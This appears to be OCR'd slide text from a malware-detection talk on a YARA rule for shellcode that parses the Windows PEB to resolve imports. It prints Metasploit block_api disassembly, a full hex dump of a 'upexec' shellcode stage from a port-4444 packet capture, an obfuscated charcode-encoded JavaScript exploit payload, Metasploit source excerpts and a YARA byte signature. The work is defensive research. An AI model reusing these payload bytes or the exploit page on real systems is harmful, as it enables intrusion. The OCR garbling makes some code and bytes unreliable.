peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot15.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot18.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot20.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot19.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot21.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot22.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot23.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-s005.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot24.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot25.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot26.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot28.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot29.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot27.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot31.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot35.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot32.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot36.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot33.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot37.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot38.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot39.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot4.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot7.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot40.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot5.vmem
```

```
sub 42B2D3 proc near
     push
             edi
     push
             esi
     cld
     mov
             edx, large fs:30h
     mov
             edx, [edx+0Ch]
             edx, [edx+14h]
     mov
       loc 42B2E3:
               esi, [edx+28h]
       mov
               18h
       push
       pop
               ecx
               edi, edi
       xor
      <u>...</u> 🗹 🖼
      loc_42B2EB:
      xor
              eax, eax
      lodsb
              al, 61h; 'a'
      cmp
              short loc_42B2F4
       al, 20h; ''
       sub
         loc_42B2F4:
          ror
                 edi, 0Dh
         add
                 edi, eax
         loop
                 loc_42B2EB
edi, 6A4ABC5Bh
        eax, [edx+10h]
mov
        edx, [edx]
mov
        short loc_42B2E3
jnz
<u>...</u> 🚄
pop
         esi
         edi
рор
retn
sub_42B2D3 endp
```

```
sub_42B2D3 proc near
push
        edi
push
        esi
cld
        edx, large fs:30h
mov
        edx, [edx+0Ch]
mov
        edx, [edx+14h]
mov
```



```
public start
start <mark>proc near</mark>
var_4= dword ptr -4
cld
        sub_401088
call
pusha
mov
         ebp, esp
xor
         eax, eax
         edx, fs:[eax+30h]
mov
         edx, [edx+0Ch]
mov
        edx, [edx+14h]
mov
                             <u>...</u>
```

```
loc_401015:
                  esi, [edx+28h]
          movzx ecx, word ptr [edx+26h]
                  edi, edi
              loc_40101E:
              lodsb
              cmp
                      al, 61h ; 'a'
                      short loc_401025
               <u>...</u> 🚄 📜
               sub
                       al, 20h; '
                  loc_401025:
                          edi, 0Dh
                 add
                         edi, eax
                        loc_40101E
      push
              edx
      push
              edx, [edx+10h]
              ecx, [edx+3Ch]
              ecx, [ecx+edx+78h]
      jecxz
              short loc_401082
II 💅 📜
add
        ecx, edx
        ebx, [ecx+20h]
mov
        ebx, edx
add
        ecx, [ecx+18h]
<u></u> 🚅 📜
loc 401045:
jecxz short loc_401081
```

```
pusha
mov ebp, esp
xor eax, eax
mov edx, fs:[eax+30h]
mov edx, [edx+0Ch]
mov edx, [edx+14h]
```


```
loc_401015:
mov esi, [edx+28h]
movzx ecx, word ptr [edx+26h]
xor edi, edi
```

```
Every 30.0s: file * | cut -d: -f2 | sort | uniq -c | sort -nr
```

365 Composite Document File V2 Document, Little Endian, Os 169 ASCII text Composite Document File V2 Document, Cannot read section info 26 Composite Document File V2 Document, Can't read directory 24 Zip archive data, at least v2.0 to extract 17 tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535) 16 Macromedia Flash data, version 32 10 tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144) 9 POSIX tar archive (GNU) 8 Zip archive data, at least v1.0 to extract 4 RAR archive data, v4, os 3 RAR archive data, v2.0, os 3 PDF document, version 1.5 3 Hangul (Korean) Word Processor File 5.x 3 Composite Document File V2 Document, Can't read SSAT 2 empty 2 Transport Neutral Encapsulation Format 2 Macromedia Flash data, version 36 2 Java archive data (JAR) 2 DOS executable (COM) 1 tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 32767) 1 ScreamTracker III Module sound data Title 1 ScreamTracker III Module sound data 1 POSIX tar archive 1 PDF document, version 1.4 1 Microsoft OOXML 1 Macromedia Flash data, version 25 1 JPEG 2000 Part 1 (JP2) 1 Composite Document File V2 Document, Can't read SAT 1 Compiled PSI (v2) data (t\$\364_+\311\261G\275\200\300R\0161o\030\003o\030\203\307\004\342\365\374\350\202) 1 COM executable for DOS 1 CDFV2 Microsoft Excel CDFV2 Encrypted

\$ file 14e22277938b68104740f5d45a0f8577660b6c2c59875ba318edb0c98d2f8f74
14e22277938b68104740f5d45a0f8577660b6c2c59875ba318edb0c98d2f8f74: tcpdump capture file (little-endian)

\$ yara -s ../../Documents/peb_parsing.yara 14e22277938b68104740f5d45a0f8577660b6c2c59875ba318edb0c98d2t
peb_parsing 14e22277938b68104740f5d45a0f8577660b6c2c59875ba318edb0c98d2f8f74
0x4317:\$import_parsing: 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28



HTTP/1.1 200 OK

Content-Type: text/html Connection: Keep-Alive

Server: Apache

Content-Length: 14560

<html><body>

<button id='HgHpuQeZiSZJnMVsoHOkBSRuJEJkoNwNxzrbFBGkYIsxwlfxHucGbC'</pre>

onclick='ZoVKvHKSRnntgZNnWORjTBcISbcHHKJUcBaeieKytBInMJSYHlnUvjqgapwijVDlDTThXkjoPkSpSXgFFGcKVyNiXhSUy();' style='display:n
<script language='javascript'>

function oVKUOAsOws(){

var fUTsa =

unescape(String.fromCharCode(0x25,0165,063,061,0145,0x31,045,0165,0x38,0144,102,56,0x25,0x75,0146,0x39,49,0x31,0x25,117,0x3 7,117,0142,0x37,51,0146,045,0165,49,064,0x37,0x66,0x25,0x75,0144,0x35,061,51,0x25,0x75,98,51,064,070,37,0165,57,51,060,53,0 1,57,37,0x75,063,067,0x62,070,0x25,0165,064,0x33,57,060,0x25,0x75,98,101,52,0x61,0x25,117,070,57,064,060,37,0165,0x32,57,0x 63,52,98,0x31,37,117,0x62,0x36,0142,53,37,0165,50,0x33,0x34,0142,0x25,0165,51,0x35,0144,54,045,117,071,062,062,0x34,0x25,01 0165,0x62,0x32,97,071,0x25,117,0x32,0x35,067,071,0x25,0x75,0x32,0x63,0x62,0x30,0x25,0x75,101,063,48,0x31,37,0165,0142,98,06 ,0x32,064,0x32,37,0x75,0x34,0x37,54,54,045,117,98,52,0x34,0x65,045,0x75,98,0x66,0142,57,37,0165,061,062,0x39,102,045,117,55117,0x30,0x63,0x33,0x64,0x25,0165,55,52,067,0x62,37,0165,0x37,0142,0x37,0x35,045,117,0x65,51,49,0x39,37,117,062,97,067,0x32 7,0x63,045,0165,060,0x33,0x37,52,0x25,117,070,0x63,0x66,065,045,0x75,0x33,0x66,101,062,045,0165,98,102,071,0x36,0x25,0x75,0 17,070,0x33,50,0146,045,0x75,060,99,0146,0143,0x25,117,98,0145,57,0x30,0x25,0165,0x39,0x33,52,0x36,045,117,0x32,99,0x37,54, ,37,117,56,0x34,0142,061,045,0x75,0x33,99,0x65,98,37,117,0x39,0x37,49,0x34,0x25,117,071,0x66,0x36,066,37,117,064,070,062,06 ,0x62,55,37,0165,0144,0x35,51,0x32,37,0165,0x34,102,0142,070,37,0165,0x34,0x32,0x38,0144,0x25,117,0x64,064,0x33,071,0x25,0x x39,0x25,0x75,067,0x37,0x30,065,37,0165,0x66,0x39,062,0x38,0x25,0165,067,0141,51,0x34,37,0x75,48,98,0x37,0144,37,0x75,50,06 ,071,0x36,0x37,37,0x75,0x34,0142,064,0x31,0x25,0165,0142,060,98,0142,045,117,0142,53,52,101,045,0165,0142,0141,071,062,0x25 4,57,045,0x75,0142,062,0x66,0x38,37,0x75,0x66,065,070,0x35,0x25,0165,50,0144,0x37,063,37,0165,0x33,0144,48,52,0x25,0x75,014 ,0165,061,0x30,0x39,0x31,37,0x75,0x62,53,0x66,0144,37,0165,067,0141,55,065,0x25,0165,52,0x61,55,0x37,0x25,0x75,101,50,49,0x ,48,52,045,0165,0x34,0x30,060,065,0x25,117,56,0x36,064,0x39,37,0x75,100,51,102,0x36,0x25,117,0x37,101,101,0142,37,0x75,0x32 ,067,99,0x62,55,0x25,117,063,070,067,102,0x25,0x75,101,063,0144,061,37,0165,063,0144,067,0x62,0x25,0165,0146,0x63,54,0142,0 7,56,37,117,50,0x64,98,0x38,37,0x75,0x31,0x35,0x31,0x63,37,117,067,49,064,067,0x25,0165,0x62,071,064,51,0x25,0x75,0x39,0142 38,0x38,0146,0x39,0x25,0x75,0x30,0143,0x65,49,37,0x75,0x32,0x30,0142,064,045,117,063,067,101,060,045,0165,0x34,101,54,0x37,

```
Frame 28: 452 bytes on wire (3616 bits), 452 bytes captured (3616 bits)
Ethernet II, Src: Vmware_c9:f6:af (00:0c:29:c9:f6:af), Dst: Vmware_ab:3f:07 (00:0c:29:ab:3f:07)
Internet Protocol Version 4,
Transmission Control Protocol, Src Port: 4444, Dst Port: 1063, Seq: 5, Ack: 1, Len: 398
Data (398 bytes)
Data: fce8890000006089e531d2648b52308b520c8b52148b7228...
[Length: 398]
```

```
··)·?··· )····E·
0000 00 0c 29 ab 3f 07 00 0c 29 c9 f6 af 08 00 45 00
0010 01 b6 36 c7 40 00 40 06 1f 16 a3 e5 4d cd a3 e5
                                                         --6-@-@- ----M---
0020 4d cd 11 5c 04 27 bf ea 54 98 17 1e f0 94 50 18
                                                         M · · \ · ' · · · T · · · · · P ·
0030 39 08 70 1a 00 00 fc e8 89 00 00 00 60 89 e5 31
                                                         9·p···············1
                                                          ·d·RØ·R· ·R··r(+
     d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b
                                                          J&1·1··< a|·, ···
0050
      4a 26 31 ff 31 c0 ac 3c  61 7c 02 2c 20 c1 cf 0d
                                                          · · · · RW · R · · · B < · · · /6
0060
      78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d
                                                          x··tJ··P ·H··X ·
                                                          <I-4--- 1-1----
0080
      e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0c
      01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b
                                                          ··8·u··} ·;}$u·X·
0090
      58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b
                                                         X$··f··K ·X·····
00a0
     01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5t
                                                          · · · D$$[[ aYZQ · · X
                                                          Z····li· X···)·TP
      5a 8b 12 eb 86 5d 6a 7f - 58 c1 e0 03 29 c4 54 50
00c0
                                                          hØ·I···· ····svc.
00d0
      68 30 f3 49 e4 ff d5 8d  04 04 c7 00 73 76 63 2e
                                                          ·@·exe·· ·Pi·i·i·
00e0
      c7 40 04 65 78 65 00 89  e0 50 6a 00 6a 06 6a 02
                                                          i·i·h··· ·Ph···O·
00f0 6a 00 6a 07 68 00 00 00 e0 50 68 da f6 da 4f ff
                                                          ···T··j· j·VWh··
0100
      d5 89 c3 54 89 e6 6a 00  6a 04 56 57 68 02 d9 c8
     5f ff d5 8b 36 6a 04 68 00 10 00 00 56 6a 00 68
                                                          · · · 6 j · h · · · · · V j · ł
0110
      58 a4 53 e5 ff d5 53 53 89 e1 6a 00 51 56 50 5
                                                          X·S···SS ···i·OVPS
0120
                                                          ··•j·VSWh ··· ···
0130
      89 c3 6a 00 56 53 57 68  02 d9 c8 5f ff d5 01 c
                                                          )···u·h- W·[··Yh·
0140 29 c6 85 f6 75 ec 68 2d 57 ae 5b ff d5 59 68 c6
                                                          ··R··WWW 1·j·YV··
0150
      96 87 52 ff d5 57 57 57  31 f6 6a 12 59 56 e2 fd
                                                          F∙D$<··· D$···DTP
0160
      66 c7 44 24 3c 01 01 8d 44 24 10 c6 00 44 54 50
                                                          VVVFVNVV ·t$xVhy
      56 56 56 46 56 4e 56 56   ff 74 24 78 56 68 79 cc
                                                          ? · · · · NV F · Øh · · ·
0180 3f 86 ff d5 89 e0 4e 56 46 ff 30 68 08 87 1d 60
0190 ff d5 57 68 75 6e 4d 61 ff d5 ff 74 24 58 68 d7
                                                          ·WhunMa · · · t$Xh ·
                                                          2e dd 13 ff d5 bb f0 b5  a2 56 68 a6 95 bd 9d ff
01a0
      d5 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a
                                                          <------ u--G-roi
01c0 00 53 ff d5
```

```
. . . .
00000000
         8e 01 00 00
        fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b
                                                        ......`. .1.d.R0.
00000004
         52 Oc 8b 52 14 8b 72 28 Of b7 4a 26 31 ff 31 c0
                                                        R..R..r( ..J&1.1.
00000014
         ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57
                                                         .<a|., . .....RW
00000024
         8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01
                                                        .R..B<....@x..tJ.
00000034
                                                         .P.H..X ...<I.4.
         d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b
00000044
         01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4
                                                         ..1.1... ....8.u.
00000054
00000064
         03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b
                                                         .}.;}$u. X.X$..f.
00000074
         0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24
                                                         .K.X.... D$$
         5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d
00000084
                                                        [[aYZQ.. X Z....]
00000094
         6a 7f 58 c1 e0 03 29 c4 54 50 68 30 f3 49 e4 ff
                                                        j.X...). TPh0.I..
                                                         .....sv c..@.exe
000000A4
         d5 8d 04 04 c7 00 73 76 63 2e c7 40 04 65 78 65
                                                         ...Pj.j. j.j.j.h.
         00 89 e0 50 6a 00 6a 06 6a 02 6a 00 6a 07 68 00
000000B4
000000C4
         00 00 e0 50 68 da f6 da 4f ff d5 89 c3 54 89 e6
                                                         ...Ph... 0....T..
                                                        j.j.VWh. .._...6j
000000D4
         6a 00 6a 04 56 57 68 02 d9 c8 5f ff d5 8b 36 6a
                                                        .h....Vj .hX.S....
000000E4
        04 68 00 10 00 00 56 6a 00 68 58 a4 53 e5 ff d5
                                                        SS...i.OV PS...i.VS
000000F4 53 53 89 e1 6a 00 51 56 50 53 89 c3 6a 00 56 53
00000104 57 68 02 d9 c8 5f ff d5 01 c3 29 c6 85 f6 75 ec
                                                        Wh... .. ..)...u.
00000114 68 2d 57 ae 5b ff d5 59 68 c6 96 87 52 ff d5 57
                                                        h-W.[..Y h...R..W
00000124 57 57 31 f6 6a 12 59 56 e2 fd 66 c7 44 24 3c 01
                                                        WW1.j.YV ..f.D$<.
00000134
        01 8d 44 24 10 c6 00 44 54 50 56 56 56 46 56 4e
                                                        ..D$...D TPVVVFVN
                                                        VV.t$xVh y.?....
00000144 56 56 ff 74 24 78 56 68 79 cc 3f 86 ff d5 89 e0
00000154 4e 56 46 ff 30 68 08 87 1d 60 ff d5 57 68 75 6e
                                                        NVF.0h...`..Whun
                                                        Ma...t$X h.....
00000164 4d 61 ff d5 ff 74 24 58 68 d7 2e dd 13 ff d5 bb
00000174 f0 b5 a2 56 68 a6 95 bd 9d ff d5 3c 06 7c 0a 80
                                                         ...Vh... ...<.
00000184 fb e0 75 05 bb 47 13 72 6f 6a 00 53 ff d5
                                                         ..u..G.r oj.S..
00000192
         00 04 0e 00
                                                         . . . .
00000196
         4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
                                                        MZ.....
000001A6
         000001B6
                                                         . . . . . . . . . . . . . . . . . .
        000001C6
                                                         . . . . . . . . . . . . . . . . .
         0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68
                                                         ...... !..L.!Th
000001D6
         69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f
000001E6
                                                        is progr am canno
         74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20
                                                        t be run in DOS
000001F6
                                                        mode.... $.....
         6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00
00000206
```

```
seg000:000000000000000B 89 E5
                                                                     ebp, esp
                                                              mov
seg000:000000000000000D 31 D2
                                                                     edx, edx
                                                              xor
                                                                     edx, fs:[rdx+30h]
seg000:000000000000000F 64 8B 52 30
                                                             mov
seg000:0000000000000013 8B 52 0C
                                                                     edx, [rdx+0Ch]
                                                             mov
seg000:0000000000000016 8B 52 14
                                                                     edx, [rdx+14h]
                                                             mov
seg000:00000000000000019
seg000:00000000000000019
                                              loc_19:
                                                                                     ; CODE XREF: seg000:0000000000000001↓j
seg000:0000000000000019 8B 72 28
                                                                     esi, [rdx+28h]
                                                             mov
seg000:000000000000001C 0F B7 4A 26
                                                                     ecx, word ptr [rdx+26h]
                                                             movzx
edi, edi
                                                              xor
```



HD Moore Overhaul of the metasploit payloads from Stephen Fewer - smaller/clea...

49b7dcb on Jul 31, 2009


0 contributors

```
138 lines (135 sloc) 8.23 KB
                                                                                               Blame History
                                                                                          Raw
      ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
      ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
       ; Version: 1.0 (28 July 2009)
      ; Size: 398 bytes
       ; Build: >build.py stage_upexec
  8
       [BITS 32]
       [ORG 0]
  9
  10
      ; By here EDI will be our socket and EBP will be the address of 'api_call' from stage 1.
 11
      ; We reset EBP to the address of 'api_call' as found in this blob to avoid any problems
 12
       ; if the old stage 1 location gets munged.
  13
  14
              ; Clear the direction flag.
  15
        cld
        call start ; Call start, this pushes the address of 'api_call' onto the stack.
 16
 17
       delta:
 18
       %include "./src/block/block_api.asm"
 19
       start:
                           ; Pop off the address of 'api_call' for calling later.
  20
        pop ebp
  21
        ; create a file in a temp dir...
        22
                 ; And pop it into EAX
  23
        pop eax
        shl eax, 3 ; Shift EAX left by 3 so it = 1016
  24
        sub esp, eax ; Alloc this space on the stack for the temp file path + name
  25
                  ; Push the buffer address
  26
        push esp
                  ; Push the buffer size (127 * 4 = 508)
  27
        push eax
  28
        push 0xE449F330 ; hash( "kernel32.dll", "GetTempPathA" )
```

```
00000000
         8e 01 00 00
                                                        . . . .
                                                        ......`. .1.d.R0.
00000004
        fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b
         52 Oc 8b 52 14 8b 72 28 Of b7 4a 26 31 ff 31 c0
                                                        R..R..r( ..J&1.1.
00000014
        ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57
                                                        .<a|., . .....RW
00000024
         8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01
                                                        .R..B<....@x..tJ.
00000034
                                                        .P.H..X ...<I.4.
         d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b
00000044
00000054
         01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4
                                                        ..1.1... ....8.u.
         03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b
                                                        .}.;}$u. X.X$..f.
00000064
00000074
         0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24
                                                        .K.X.... D$$
00000084
         5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d
                                                        [[aYZQ.. X Z....]
00000094
         6a 7f 58 c1 e0 03 29 c4 54 50 68 30 f3 49 e4 ff
                                                        j.X...). TPh0.I..
                                                        .....sv c..@.exe
000000A4
         d5 8d 04 04 c7 00 73 76 63 2e c7 40 04 65 78 65
                                                        ...Pj.j. j.j.j.h.
         00 89 e0 50 6a 00 6a 06 6a 02 6a 00 6a 07 68 00
000000B4
         00 00 e0 50 68 da f6 da 4f ff d5 89 c3 54 89 e6
                                                        ...Ph... 0....T..
000000C4
                                                        j.j.VWh. .._...6j
000000D4
         6a 00 6a 04 56 57 68 02 d9 c8 5f ff d5 8b 36 6a
                                                        .h....Vj .hX.S....
000000E4
        04 68 00 10 00 00 56 6a 00 68 58 a4 53 e5 ff d5
                                                        SS...j.QV PS...j.VS
000000F4 53 53 89 e1 6a 00 51 56 50 53 89 c3 6a 00 56 53
                                                        Wh... .. ..)...u.
00000104 57 68 02 d9 c8 5f ff d5 01 c3 29 c6 85 f6 75 ec
00000114 68 2d 57 ae 5b ff d5 59 68 c6 96 87 52 ff d5 57
                                                        h-W.[..Y h...R..W
00000124 57 57 31 f6 6a 12 59 56 e2 fd 66 c7 44 24 3c 01
                                                        WW1.j.YV ..f.D$<.
00000134
        01 8d 44 24 10 c6 00 44 54 50 56 56 56 46 56 4e
                                                       ..D$...D TPVVVFVN
                                                        VV.t$xVh y.?....
00000144 56 56 ff 74 24 78 56 68 79 cc 3f 86 ff d5 89 e0
00000154 4e 56 46 ff 30 68 08 87 1d 60 ff d5 57 68 75 6e
                                                        NVF.0h...`..Whun
                                                        Ma...t$X h.....
00000164 4d 61 ff d5 ff 74 24 58 68 d7 2e dd 13 ff d5 bb
00000174 f0 b5 a2 56 68 a6 95 bd 9d ff d5 3c 06 7c 0a 80
                                                        ...Vh... ...<.
00000184 fb e0 75 05 bb 47 13 72 6f 6a 00 53 ff d5
                                                        ..u..G.r oj.S..
00000192
         00 04 0e 00
                                                        . . . .
00000196
         4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
                                                        MZ.....
000001A6
         000001B6
        000001C6
                                                        . . . . . . . . . . . . . . . . . .
000001D6
         0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68
                                                        ...... !..L.!Th
000001E6
         69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f
                                                        is progr am canno
         74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20
                                                        t be run in DOS
000001F6
         6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00
                                                        mode.... $.....
00000206
```



\$ md5sum ../foo.bin
10e4a1d2132ccb5c6759f038cdb6f3c9 ../foo.bin



efficacy:

across MSDN & NSRL, **8 FPs**, all in RPC code

for example:

```
Attributes: bp-based frame
sub 4F02FDD5 proc near
var C= dword ptr -0Ch
var 8= dword ptr -8
phkResult= dword ptr -4
       edi, edi
push
       ebp, esp
sub
       esp, 10h
push
       esi, dword 4F0531EC
mov
push
       esi, OFFFFFFFh
jnz
       loc 4F02FE72
```

```
eax, [ebp+phkResult]
lea
xor
       edi, edi
push
push
                        ; samDesired
push
                        ; ulOptions
       offset aSoftwareMicros_3 ; "Software\\Microsoft\\Rpc\\SystemParamet"...
push
push
        [ebp+phkResult], edi
mov
call
       ds:RegOpenKeyExW
       esi, eax
mov
test
       esi, esi
       short loc 4F02FE55
```

```
mov
        eax, large fs:30h; yara: peb-parsing/peb_parsing/$peb_parsing
lea
        ecx, [ebp+var_C]
push
        ecx, [ebp+var_8]
push
        eax, [eax+0Ch]
mov
push
push
        eax, [eax+0Ch]
        eax, [eax+30h]
mov
push
push
push
        [ebp+phkResult]
        [ebp+var C], 4
mov
        [ebp+var 8], edi
mov
call
       ds:RegGetValueW
        edi, [ebp+phkResult]
mov
mov
        esi, eax
       esi, esi
        short loc_4F02FE58
```

| total_hits | 523 |
|----------------------|------------------------------|
| unique_customer_hits | 19 |
| first_hit_date | 2019-01-
01T01:32:12.004Z |
| last_hit_date | 2019-04-
11T14:14:04.000Z |
| hx_appliance_hits | 0 |
| ax_appliance_hits | 128 |
| nx_appliance_hits | 358 |
| ex_appliance_hits | 37 |

```
125 Education
68 Other
63 Telecom
21 High-Tech
17 Government: Federal
11 ETP
7 Healthcare
4 UNKNOWN
4 Insurance
3 Financial Services
1
```




resolution by hash

- opsec problem: names of routines to resolve stored in plaintext
- performance problem: names of routines to resolve are long

common solution: use fixed-length hash of routine name



\$ strings 01713a53d955de17205785df8c5d8b9292425ef49fa8e215ad5d64a7cf880425 ;}\$u D\$\$[[aYZQ]hnet hwiniThLw& SSSSSh:Vy /gqI9vCrIoPEZhBiFQ4X2pwJCK9UEfuDT_r9rA3en SSSWSVh VhuF SSSSVh0.0.0



```
<u>...</u> 🗹 🚾
; Attributes: noreturn
sub_88 proc near
        ebp
pop
push
        74656Eh
push
        696E6977h
push
        esp
        726774Ch
push
call
        ebp
        ebx, ebx
xor
push
        ebx
push
        ebx
push
        ebx
push
        ebx
        ebx
push
                      333
        0A779563Ah
push
call
        ebp
push
        ebx
push
        ebx
        3
push
push
        ebx
push
        ebx
push
        20FBh
call
        sub_172
sub_88 endp
```

Raw

Blame

History





 Watch ▼ 1,541 * Star 14,176 7,420

Code

(!) Issues 542

Pull requests 89

Projects 6

Example: List the hashes for all exports from kernel32.dll (As found in 'c:\windows\system32\')

■ Wiki

II Insights

Tree: 76954957c7 ▼

metasploit-framework / external / source / shellcode / windows / x86 / src / hash.py

Find file Copy path


HD Moore Overhaul of the metasploit payloads from Stephen Fewer - smaller/clea...

>hash.py /mod c:\windows\system32\ kernel32.dll

49b7dcb on Jul 31, 2009

0 contributors

11



```
62
     def ror( dword, bits ):
63
       return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF
64
65
     #-----#
66
     def unicode( string, uppercase=True ):
       result = "";
67
68
       if uppercase:
        string = string.upper()
69
70
      for c in string:
71
        result += c + "\x00"
72
       return result
73
74
     def hash( module, function, bits=13, print_hash=True ):
75
       module hash = 0
       function hash = 0
76
77
       for c in unicode( module + "\x00" ):
78
         module hash = ror( module hash, bits )
         module_hash += ord( c )
79
       for c in str( function + "\x00" ):
80
         function_hash = ror( function_hash, bits )
81
         function hash += ord( c )
82
       h = module hash + function hash & 0xFFFFFFFF
83
       if print hash:
84
85
         print "[+] 0x\%08X = \%s!\%s" \% ( h, module.lower(), function )
       return h
86
```




Home > FireEye Blogs > Threat Research > November 2012 Threat Research Blog Posts > Using Precalculated String Ha

Using Precalculated String Hashes when Reverse Engineering Shellcode

November 29, 2012 | by Jay Smith

In the five years I have been a part of Mandiant's malware analysis team (now formally known as M-Labs) there have been times when I've had to reverse engineer chunks of shellcode. In this post I will give some background on shellcode import resolution techniques and how to automate IDA markup to allow faster shellcode reverse engineering.



9 months ago

sc_hashes.db

Updating hash db

| 2 | FROM 'symbol_hashes | ' A | |
|---|--|---------------------|----------|
| 3 | JOIN 'source_libs' | B ON A.lib_key=B.li | b_key |
| 4 | JOIN 'hash_types' C ON A.hash_type=C.hash_type | | |
| 5 | ORDER BY hash_val; | | |
| i | hash_name | hash_val | lib_name |

27054772

27054932

27058142

27065315

27072222

27073680

27087642

27088413

27091256

27127095

27132147

27132147

27132756

27134652

27134652

hash Carbanak

sll1AddHash32

rol7AddHash32

sll1AddHash32

sll1AddHash32

hash_Carbanak

sll1AddHash32

hash_Carbanak

ror11AddHash32

ror11AddHash32

sll1AddHash32

sll1AddHash32

sll1AddHash32

rol7AddXor2Hash32

fnv1Xor67f

| - | SELECT HASH_HAME, HASH_VAI, TID_HAME, SYMBOT_HAME |
|---|---|
| 2 | FROM 'symbol_hashes' A |
| 3 | JOIN 'source_libs' B ON A.lib_key=B.lib_key |
